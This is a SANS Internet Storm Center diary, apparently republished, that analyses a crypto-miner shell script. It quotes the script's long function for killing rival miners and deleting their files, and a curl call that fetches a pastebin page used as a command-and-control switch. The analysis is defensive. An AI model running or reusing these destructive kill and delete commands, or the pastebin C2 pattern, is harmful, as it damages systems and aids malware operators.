Pastebin.com Used As a Simple C2 Channel, (Fri, Mar 19th)

This post was originally published on this site

With the growing threat of ransomware attacks, they are other malicious activities that have less attention today but they remain active. Think about crypto-miners. Yes, attackers continue to mine Monero on compromised systems. I spotted an interesting shell script that installs and runs a crypto-miner (SHA256:00e2ddca696426d9cad992662284d1f28b9ecd44ed7c1be39789417c1ea9a5f2[1]).

The script looks to be a classic one but there are some interesting behaviours that I'd like to share.

Such scripts, before launching the miner, are trying to get rid of previously installed concurrent tools. I already covered this in a previous diary[2] but how do they behave today? The script implements a function kills() that searches for existing miners and kills them. But it goes one step further: It also checks for established connections to specific ports or IP addresses!

function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine[.]moneropool[.]com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash[.]com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr[.]crypto-pool[.]fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum[.]f2pool[.]com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
rm -rf /tmp/.systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
netstat -anp | grep 69[.]28[.]55[.]86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185[.]71[.]65[.]238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140[.]82[.]52[.]87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9
fi
}

This function is a perfect candidate to be rewritten from a defender's point of view and used to detect a potential miner running on your computers!

The second interesting point is the use of pastebin.com not only to download malicious payloads but also as a very simple C2 communication channel. Do you know that, when you create a pastie, you can edit it later:

The script (executed from a corn job), grabs the content of a pastie and, base on the content, behaves in different ways:

update=$( curl -fsSL --connect-timeout 120 hxxps://pastebin[.]com/raw/SSCy7mY7 )
if [ ${update}x = "update"x ];then
    echocron
else
    ...

The current pastie content:

remnux@remnux:/MalwareZoo/20210319$ curl hxxps://pastebin[.]com/raw/SSCy7mY7
noupdate

Simple but effective!

[1] https://www.virustotal.com/gui/file/00e2ddca696426d9cad992662284d1f28b9ecd44ed7c1be39789417c1ea9a5f2/detection
[2] https://isc.sans.edu/forums/diary/The+Crypto+Miners+Fight+For+CPU+Cycles/23407

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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